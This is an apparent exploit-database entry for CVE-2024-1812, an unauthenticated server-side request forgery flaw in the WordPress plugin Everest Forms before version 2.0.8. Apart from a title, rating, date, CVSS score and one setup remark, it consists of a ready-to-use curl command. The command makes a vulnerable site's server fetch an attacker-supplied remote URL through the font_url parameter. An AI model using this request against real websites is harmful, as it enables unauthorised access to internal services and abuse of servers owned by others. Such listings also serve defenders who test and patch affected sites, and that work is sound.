Exploit for Everest Forms < 2.0.8 - Unauthenticated Server-Side Request Forgery via font_url CVE-2024-1812

Name: Exploit for Everest Forms < 2.0.8 - Unauthenticated Server-Side Request Forgery via font_url CVE-2024-1812
Rating: 5 (235 reviews)

2024-03-19 | CVSS 7.2

## https://sploitus.com/exploit?id=WPEX-ID:B5849147-396B-4538-95B7-DB46BC7F385B
Make sure the option `Load Fonts Locally` is enabled.
curl --url 'http://target_site.tld/wp-admin/admin-ajax.php?action=everest_forms_get_local_font_url' --data 'font_url=http://remote-host.tld:$PORT/?bypass=https://fonts.googleapis.com'